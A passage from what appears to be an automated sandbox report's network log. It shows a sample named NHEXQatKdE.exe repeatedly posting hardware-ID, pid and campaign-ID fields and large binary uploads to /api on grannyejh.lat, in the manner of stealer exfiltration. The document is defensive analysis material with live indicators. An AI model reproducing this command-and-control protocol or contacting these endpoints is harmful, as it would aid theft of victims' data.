VDWjf/KfcxtM5pdS6/D5rZT/GuG/JBtaF4T6wKvs4hhBprHo4900Cdu3nRWrNbyvRXkKZe5mGctC1TgD7GqjG4DkoPtwnjGaT+SWU2o1Pm7XfFui/WSaH9QFaBP/aaTJVDWoN74UIh4eIcRRqOGrP5U82CA/Y1lf10T4Ae1qYxpBpiV5c5zxmg+l1VAq8L4uRW1J4nh3zMtexf6G/+PgGUPhpH2j2yGfnaZXQH3hvC1X/Jkh/2Sa2RcHegMtbOK
2024-12-18 20:22:35 UTC	1369	IN	Data Raw: 58 71 77 33 6e 48 5a 44 36 54 55 6b 6d 39 78 76 6d 2b 52 2b 6c 68 68 66 66 66 4a 53 31 55 44 4b 42 5a 2f 5a 43 63 62 6b 69 4a 79 66 53 50 64 4d 51 6e 62 74 35 53 53 36 4c 49 35 72 70 54 38 47 53 41 38 5a 70 6a 61 56 6b 5a 37 77 71 33 71 49 4e 6c 42 35 4f 50 35 73 6c 39 79 57 45 36 6b 78 45 50 37 38 48 73 2f 67 32 37 51 4a 54 30 6d 58 78 38 5a 68 50 67 55 50 32 2b 78 58 78 49 6b 59 75 74 6c 7a 50 46 61 7a 79 54 56 45 57 6e 77 66 65 2f 57 66 39 71 67 2f 32 57 62 32 68 42 42 75 59 50 76 61 36 46 61 67 53 45 69 65 6a 50 66 34 67 70 64 70 6c 4a 41 66 65 47 78 61 6c 56 75 33 6a 41 34 4e 39 73 59 52 4e 4d 6f 41 36 77 73 34 64 71 43 4a 65 45 36 63 52 30 7a 6d 45 33 6e 56 52 43 71 73 44 31 76 6c 6e 78 59 49 62 7a 6b 57 5a 72 56 78 4c 6d 51 66 50 68 6a 48 31 49 7a Data Ascii: Xqw3nHZD6TUkm9xvm+R+lhhfffJS1UDKBZ/ZCcbkiJyfSPdMQnbt5SS6LI5rpT8GSA8ZpjaVkZ7wq3qINlB5OP5sl9yWE6kxEP78Hs/g27QJT0mXx8ZhPgUP2+xXxIkYutlzPFazyTVEWnwfe/Wf9qg/2Wb2hBBuYPva6FagSEiejPf4gpdplJAfeGxalVu3jA4N9sYRNMoA6ws4dqCJeE6cR0zmE3nVRCqsD1vlnxYIbzkWZrVxLmQfPhjH1Iz
2024-12-18 20:22:35 UTC	1369	IN	Data Raw: 39 7a 47 41 32 6b 6c 35 47 70 38 6e 77 76 6c 71 37 4b 63 37 2b 68 79 73 31 45 7a 54 72 46 35 79 76 67 48 64 49 69 63 6e 30 6a 33 54 45 4a 32 37 65 58 30 69 75 7a 76 71 79 58 66 39 31 6a 76 4b 57 5a 47 78 63 46 4f 4d 41 74 36 6d 5a 59 77 69 64 6a 2b 72 48 64 38 5a 31 4e 35 45 52 44 2b 2f 42 37 50 34 4e 75 31 61 59 2f 70 68 6b 4c 33 6f 54 2b 77 43 33 6f 6f 42 70 53 49 6e 4a 39 49 39 30 78 43 64 75 33 6c 78 4e 6f 73 4c 6d 73 6c 58 37 62 6f 6e 7a 6a 57 52 69 58 68 66 67 42 4b 2b 67 6d 57 6f 44 6b 34 54 70 77 48 7a 45 62 7a 7a 65 48 77 47 6f 33 72 54 6d 46 64 64 6b 6e 2f 50 64 54 48 64 46 45 2b 77 51 74 71 79 48 4a 52 66 59 6e 71 33 49 66 34 67 2f 64 70 35 51 54 4c 33 44 39 62 52 66 39 6d 2b 42 2f 4a 70 6b 61 56 63 66 37 68 4f 7a 72 6f 74 6a 41 35 65 43 37 73 Data Ascii: 9zGA2kl5Gp8nwvlq7Kc7+hys1EzTrF5yvgHdIicn0j3TEJ27eX0iuzvqyXf91jvKWZGxcFOMAt6mZYwidj+rHd8Z1N5ERD+/B7P4Nu1aY/phkL3oT+wC3ooBpSInJ9I90xCdu3lxNosLmslX7bonzjWRiXhfgBK+gmWoDk4TpwHzEbzzeHwGo3rTmFddkn/PdTHdFE+wQtqyHJRfYnq3If4g/dp5QTL3D9bRf9m+B/JpkaVcf7hOzrotjA5eC7s
2024-12-18 20:22:35 UTC	1369	IN	Data Raw: 4f 35 56 56 53 4b 72 4f 39 37 74 51 38 57 75 43 2b 4a 64 69 5a 31 59 52 35 67 75 2b 72 34 52 6b 42 4a 4b 4f 34 38 59 7a 68 69 63 78 68 68 45 5a 37 2f 44 6b 75 55 33 32 64 38 7a 4c 6e 48 70 38 52 68 6e 77 42 2f 2b 4f 69 47 6b 4c 6b 34 44 39 6a 32 79 47 66 6e 61 5a 58 51 48 33 68 76 53 36 57 66 68 67 67 50 61 53 5a 47 70 59 47 2b 6f 50 72 36 36 4f 62 51 53 65 69 76 2f 46 65 64 70 75 50 35 4e 66 53 62 33 46 74 50 41 56 2f 48 2f 4f 6f 64 39 5a 5a 31 41 59 39 67 79 79 34 5a 51 72 45 64 61 41 34 59 38 72 69 48 55 6b 6e 6c 70 42 71 4d 6a 6d 76 31 33 30 62 59 37 2f 6c 47 46 75 57 68 44 75 43 4c 75 67 68 6d 51 4a 6c 6f 4c 74 78 6d 48 46 4a 33 6a 65 56 6c 6e 76 6e 72 53 4a 57 66 42 57 6a 65 2f 66 64 43 4e 4b 56 4f 63 4e 2f 66 6e 4c 5a 42 71 62 6a 2b 6e 50 66 73 35 Data Ascii: O5VVSKrO97tQ8WuC+JdiZ1YR5gu+r4RkBJKO48YzhicxhhEZ7/DkuU32d8zLnHp8RhnwB/+OiGkLk4D9j2yGfnaZXQH3hvS6WfhggPaSZGpYG+oPr66ObQSeiv/FedpuP5NfSb3FtPAV/H/Ood9ZZ1AY9gyy4ZQrEdaA4Y8riHUknlpBqMjmv130bY7/lGFuWhDuCLughmQJloLtxmHFJ3jeVlnvnrSJWfBWje/fdCNKVOcN/fnLZBqbj+nPfs5
2024-12-18 20:22:35 UTC	1369	IN	Data Raw: 52 50 68 68 75 62 2b 44 62 73 67 6a 65 75 4e 62 57 35 46 46 36 63 2f 67 34 47 41 63 77 6d 62 6a 4f 48 78 54 64 31 6b 4f 4a 42 57 56 37 36 47 75 76 35 61 75 7a 2b 33 75 64 63 72 55 68 31 55 2b 45 48 6c 34 62 35 6d 42 70 69 41 2b 39 34 2b 36 47 77 67 6e 31 78 4b 6f 34 54 31 73 30 58 38 4a 38 43 35 6d 53 73 31 41 31 71 67 42 61 7a 68 30 7a 56 61 7a 64 4b 2b 6d 43 4f 61 65 48 69 48 45 56 66 76 6e 71 62 77 46 65 6b 6e 31 72 6e 59 61 48 39 42 45 75 4d 58 76 75 61 31 57 79 69 64 69 2b 37 44 63 73 38 6e 65 4e 35 65 41 66 66 2f 74 4c 31 48 36 53 69 66 37 35 4a 37 61 68 38 63 38 51 79 78 34 63 55 6c 52 4a 4b 4d 34 63 70 30 32 43 67 6b 6a 6c 70 4e 75 59 72 77 72 42 57 31 4a 35 2f 79 6b 48 6c 6a 56 46 76 78 46 37 43 78 69 47 41 50 32 6f 2f 38 77 6e 2b 49 4b 58 61 4c Data Ascii: RPhhub+DbsgjeuNbW5FF6c/g4GAcwmbjOHxTd1kOJBWV76Guv5auz+3udcrUh1U+EHl4b5mBpiA+94+6Gwgn1xKo4T1s0X8J8C5mSs1A1qgBazh0zVazdK+mCOaeHiHEVfvnqbwFekn1rnYaH9BEuMXvua1Wyidi+7Dcs8neN5eAff/tL1H6Sif75J7ah8c8Qyx4cUlRJKM4cp02CgkjlpNuYrwrBW1J5/ykHljVFvxF7CxiGAP2o/8wn+IKXaL
2024-12-18 20:22:35 UTC	1369	IN	Data Raw: 62 6c 74 46 4b 33 4c 38 4c 6f 6a 47 56 6d 52 52 4f 67 50 76 50 68 6b 79 56 51 31 72 4c 75 77 58 33 50 63 53 66 54 64 30 4b 6f 77 50 65 77 51 75 6f 6e 77 4c 6d 5a 4b 7a 55 42 57 71 41 46 72 4f 48 54 4e 56 72 4e 30 72 36 59 49 35 70 34 65 49 63 52 56 2b 2b 65 70 2f 41 56 36 53 66 57 75 64 68 6c 59 46 49 58 37 67 4b 76 73 34 31 6d 48 70 58 41 30 2f 46 57 78 57 6f 7a 6b 46 5a 2f 6b 65 66 2b 72 6c 6a 30 59 4c 44 48 71 48 70 71 51 31 62 47 41 71 75 69 79 79 74 49 6a 73 65 31 6a 31 4c 43 64 7a 75 52 56 67 48 68 68 76 44 2b 44 62 74 43 67 2f 53 61 5a 57 6f 52 4e 65 6f 52 73 4b 36 4d 4a 55 62 57 69 36 32 58 4d 38 6c 74 4a 70 4e 65 52 75 50 42 37 72 6b 56 74 53 65 41 75 63 63 72 62 46 6b 45 37 51 36 36 37 59 31 72 42 74 61 59 6f 39 59 7a 33 69 64 75 7a 52 38 42 76 Data Ascii: bltFK3L8LojGVmRROgPvPhkyVQ1rLuwX3PcSfTd0KowPewQuonwLmZKzUBWqAFrOHTNVrN0r6YI5p4eIcRV++ep/AV6SfWudhlYFIX7gKvs41mHpXA0/FWxWozkFZ/kef+rlj0YLDHqHpqQ1bGAquiyytIjse1j1LCdzuRVgHhhvD+DbtCg/SaZWoRNeoRsK6MJUbWi62XM8ltJpNeRuPB7rkVtSeAuccrbFkE7Q667Y1rBtaYo9Yz3iduzR8Bv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49739	172.67.179.109	443	4156	C:\Users\user\Desktop\NHEXQatKdE.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:22:37 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=4NI2IDMEIU881EW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12846 Host: grannyejh.lat
2024-12-18 20:22:37 UTC	12846	OUT	Data Raw: 2d 2d 34 4e 49 32 49 44 4d 45 49 55 38 38 31 45 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 38 32 33 39 37 41 32 43 44 44 30 33 31 46 31 43 36 38 33 45 41 30 46 34 43 42 30 33 33 33 41 0d 0a 2d 2d 34 4e 49 32 49 44 4d 45 49 55 38 38 31 45 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 34 4e 49 32 49 44 4d 45 49 55 38 38 31 45 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 37 39 31 31 37 33 31 39 35 34 0d 0a 2d 2d Data Ascii: --4NI2IDMEIU881EWContent-Disposition: form-data; name="hwid"782397A2CDD031F1C683EA0F4CB0333A--4NI2IDMEIU881EWContent-Disposition: form-data; name="pid"2--4NI2IDMEIU881EWContent-Disposition: form-data; name="lid"yau6Na--7911731954--
2024-12-18 20:22:53 UTC	1036	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 20:22:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=i9vofkpvsir278gq12dn54o7s4; expires=Sun, 13-Apr-2025 14:09:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Zgui77EZZa%2FgC9C5GEknASTNs4qpjU96ny2WhWWKf4KoZnJwKEbG4tv1sPFvk5T2S%2FJdaBKekEeob1TdQY%2FtmatW3gEgfk0oKtWVJsWLUvO5C7bmoQ9vnX1elTm3A35%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f41ddb29ee442b7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1642&min_rtt=1638&rtt_var=623&sent=13&recv=17&lost=0&retrans=0&sent_bytes=2831&recv_bytes=13780&delivery_rate=1745367&cwnd=212&unsent_bytes=0&cid=5d88a1f6b7cb8892&ts=16906&x=0"
2024-12-18 20:22:53 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 20:22:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49780	172.67.179.109	443	4156	C:\Users\user\Desktop\NHEXQatKdE.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:22:55 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=4DEKY6HNPIRCH User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15080 Host: grannyejh.lat
2024-12-18 20:22:55 UTC	15080	OUT	Data Raw: 2d 2d 34 44 45 4b 59 36 48 4e 50 49 52 43 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 38 32 33 39 37 41 32 43 44 44 30 33 31 46 31 43 36 38 33 45 41 30 46 34 43 42 30 33 33 33 41 0d 0a 2d 2d 34 44 45 4b 59 36 48 4e 50 49 52 43 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 34 44 45 4b 59 36 48 4e 50 49 52 43 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 37 39 31 31 37 33 31 39 35 34 0d 0a 2d 2d 34 44 45 4b 59 36 Data Ascii: --4DEKY6HNPIRCHContent-Disposition: form-data; name="hwid"782397A2CDD031F1C683EA0F4CB0333A--4DEKY6HNPIRCHContent-Disposition: form-data; name="pid"2--4DEKY6HNPIRCHContent-Disposition: form-data; name="lid"yau6Na--7911731954--4DEKY6
2024-12-18 20:22:56 UTC	1029	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 20:22:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=n2esmemgdb28fj7qoesto6k4q5; expires=Sun, 13-Apr-2025 14:09:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mAHqpFqB3Qlqdqc7jtzEhfv6rSd2jY56y1okfRRfEbH3kUOk4iP6Jn39jQqsMOq%2FZAQewdGLnuO6wjH3BC5MTGvYPs9EhqI8igvSFw1Qti1PuuTExdufOlmL5CcPTl%2B3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f41de243948426d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1606&min_rtt=1597&rtt_var=617&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2830&recv_bytes=16012&delivery_rate=1748502&cwnd=227&unsent_bytes=0&cid=ff120328809a4bbe&ts=844&x=0"
2024-12-18 20:22:56 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 20:22:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49787	172.67.179.109	443	4156	C:\Users\user\Desktop\NHEXQatKdE.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:22:57 UTC	269	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3BT56OA3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19908 Host: grannyejh.lat
2024-12-18 20:22:57 UTC	15331	OUT	Data Raw: 2d 2d 33 42 54 35 36 4f 41 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 38 32 33 39 37 41 32 43 44 44 30 33 31 46 31 43 36 38 33 45 41 30 46 34 43 42 30 33 33 33 41 0d 0a 2d 2d 33 42 54 35 36 4f 41 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 33 42 54 35 36 4f 41 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 37 39 31 31 37 33 31 39 35 34 0d 0a 2d 2d 33 42 54 35 36 4f 41 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 Data Ascii: --3BT56OA3Content-Disposition: form-data; name="hwid"782397A2CDD031F1C683EA0F4CB0333A--3BT56OA3Content-Disposition: form-data; name="pid"3--3BT56OA3Content-Disposition: form-data; name="lid"yau6Na--7911731954--3BT56OA3Content-Dis
2024-12-18 20:22:57 UTC	4577	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 f4 8d d8 f5 6f 86 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bf 02 0e 8d a5 f6 Data Ascii: 2+?2+?o?Mp5p_oI
2024-12-18 20:23:01 UTC	1035	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 20:23:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=773jeogg0ih930solclo3kt1s4; expires=Sun, 13-Apr-2025 14:09:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dPiNBT%2F5FeytaVpL8i0T8G%2FusPfDAOBCe7PVXvcJAx1qtvHtVNv5aKx6ViIokmM2vPYALiAT%2BSKZ3dH82AVTbLCnMbza15vc7hkHbt%2BsogogCAYgzQs%2BU2UcIoneP3yu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f41de34bf3d18ee-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1654&min_rtt=1654&rtt_var=827&sent=24&recv=28&lost=0&retrans=1&sent_bytes=4198&recv_bytes=20857&delivery_rate=28897&cwnd=144&unsent_bytes=0&cid=e3826eaf9086e069&ts=4274&x=0"
2024-12-18 20:23:01 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 20:23:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49799	172.67.179.109	443	4156	C:\Users\user\Desktop\NHEXQatKdE.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:23:04 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MIQJLMFUP3T User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1187 Host: grannyejh.lat
2024-12-18 20:23:04 UTC	1187	OUT	Data Raw: 2d 2d 4d 49 51 4a 4c 4d 46 55 50 33 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 38 32 33 39 37 41 32 43 44 44 30 33 31 46 31 43 36 38 33 45 41 30 46 34 43 42 30 33 33 33 41 0d 0a 2d 2d 4d 49 51 4a 4c 4d 46 55 50 33 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4d 49 51 4a 4c 4d 46 55 50 33 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 37 39 31 31 37 33 31 39 35 34 0d 0a 2d 2d 4d 49 51 4a 4c 4d 46 55 50 33 54 0d Data Ascii: --MIQJLMFUP3TContent-Disposition: form-data; name="hwid"782397A2CDD031F1C683EA0F4CB0333A--MIQJLMFUP3TContent-Disposition: form-data; name="pid"1--MIQJLMFUP3TContent-Disposition: form-data; name="lid"yau6Na--7911731954--MIQJLMFUP3T
2024-12-18 20:23:08 UTC	1032	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 20:23:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4594nabsk4imbnpiu5sc1trjm2; expires=Sun, 13-Apr-2025 14:09:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pCgKaEQy1ij24uMaUL8kLyFZ6XeaV9C88jCsEqJUjmv22ynLXyju3LU9mz%2BWvZzjK0rDam%2Fry1RIZF9DBcZNdUFvtTDyXiskxlBLdA7a2JF4ln%2FJ5kz8DCZehs3hNDag"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f41de624d3343b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=38529&min_rtt=38529&rtt_var=19264&sent=8&recv=8&lost=0&retrans=2&sent_bytes=5658&recv_bytes=2094&delivery_rate=10071&cwnd=197&unsent_bytes=0&cid=83d6d414e73a3438&ts=4493&x=0"
2024-12-18 20:23:08 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 20:23:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49811	172.67.179.109	443	4156	C:\Users\user\Desktop\NHEXQatKdE.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:23:10 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=PZV8R242U8OZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 548547 Host: grannyejh.lat
2024-12-18 20:23:10 UTC	15331	OUT	Data Raw: 2d 2d 50 5a 56 38 52 32 34 32 55 38 4f 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 38 32 33 39 37 41 32 43 44 44 30 33 31 46 31 43 36 38 33 45 41 30 46 34 43 42 30 33 33 33 41 0d 0a 2d 2d 50 5a 56 38 52 32 34 32 55 38 4f 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 50 5a 56 38 52 32 34 32 55 38 4f 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 37 39 31 31 37 33 31 39 35 34 0d 0a 2d 2d 50 5a 56 38 52 32 34 32 55 Data Ascii: --PZV8R242U8OZContent-Disposition: form-data; name="hwid"782397A2CDD031F1C683EA0F4CB0333A--PZV8R242U8OZContent-Disposition: form-data; name="pid"1--PZV8R242U8OZContent-Disposition: form-data; name="lid"yau6Na--7911731954--PZV8R242U
2024-12-18 20:23:10 UTC	15331	OUT	Data Raw: 12 42 9c fd a0 65 a2 e8 aa 98 b8 21 34 c3 df 7c 78 2a 1f 35 f0 64 92 a6 36 b5 a0 22 f5 4c 94 48 b5 1d 6b 48 66 8a 7e 0f d9 7f 46 12 03 61 12 87 4b bf 0c 7d 6a 29 54 fd d5 de e4 8c df 04 ab ed 5b f9 aa 0c 48 e2 e4 a3 4c f3 68 2d 89 82 fb a3 3d a1 c6 0e 3d 75 e3 ae 9b bd 7c a0 97 ef 9e 9f e9 31 3a 4e 4b a4 40 c8 2c 5c 22 5e 67 f2 57 69 77 74 48 34 0d 13 e0 3f e5 9a c0 68 ab 58 ee 93 2a d2 83 a4 47 be b5 94 44 5a e8 09 7d 13 cf 3b 79 b4 de cc 02 e6 dd 22 a5 a9 bc c8 67 1a ea d7 da c8 87 75 6d bb c7 93 f1 f8 75 23 89 a8 e8 f2 ce 47 ee 13 5b c2 0c 68 f9 67 f9 c3 3b ea 4f ad e1 dc 42 b2 c5 2d b7 1f 24 3e 11 de a5 05 c7 fd b6 52 a3 b5 0a 12 ca a8 d6 9e 9b a9 e6 7b a8 89 c4 a4 25 0e 1e fa f9 5d 85 74 b6 c5 12 97 9d 80 46 73 46 14 90 8e 4c 13 df 75 88 f9 c9 43 cd Data Ascii: Be!4\|x5d6"LHkHf~FaK}j)T[HLh-==u\|1:NK@,\"^gWiwtH4?hXGDZ};y"gumu#G[hg;OB-$>R{%]tFsFLuC
2024-12-18 20:23:10 UTC	15331	OUT	Data Raw: 62 37 03 bb 88 2c d5 15 96 8c 92 63 81 89 0e 76 ea 92 f2 81 67 ef 8a 45 f3 3c 22 be d3 0f af 7e b2 18 76 ac b4 d4 e3 26 4d a7 6d 36 3f 64 09 a0 64 26 32 23 8d 8e 26 fe c4 36 ca 14 2a a5 89 0a ac 8a 83 7d 98 82 90 35 6c 39 1a 9e ea da 6c 79 30 3d 68 94 a2 76 2b d7 e9 76 18 15 cb 7c ac f5 49 9e 36 74 e0 ed d2 7a e0 bb 5a fa f2 a3 7a 89 4b c0 18 65 32 8d bd 57 85 f6 b3 b5 ed 8b 54 95 eb 07 20 59 2f 64 44 1e 42 9d 77 37 9a 79 65 bc 4c fb b2 76 9f 6b bd fd fc 86 d7 5f 60 c1 6c c2 f0 a7 33 d7 98 7b 20 0a 96 3d b6 26 a4 68 e8 ed cd fb 3f ff d8 08 62 28 35 fc 6f ba 43 12 e2 eb 2d 14 fd 57 1d 4e 6c 84 1b 5b e1 48 4e 70 34 6d 